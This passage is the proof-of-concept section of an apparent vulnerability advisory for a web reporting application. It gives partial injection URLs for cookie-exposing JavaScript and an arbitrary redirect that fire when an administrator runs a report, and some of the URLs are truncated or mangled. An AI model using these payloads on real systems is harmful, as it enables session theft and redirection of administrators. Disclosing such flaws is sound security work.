IV. PROOF OF CONCEPT
-------------------------
Affected URL:
https://192.168.233.30:9443/explorer_wse/favorites.exe
(though I believe there may be other affected URLs)
Examples:
Alert pop-up containing the cookies
https://192.168.233.30:9443/explorer_wse/favorites.exe?Program=ws_irpt.exe¶ms=startDate=2011-10-29^endDate=2011-10-

Arbitrary redirect

%22%3b//&user=admin&uid=&action=add&startDate=2011-10-29&endDate=2011-10-29&vrn=
In these cases when and administrator subsequently runs a report, the javascript is executed. There are other ways to execute Javascript when the page is initially loaded (but I thought this was a good example).
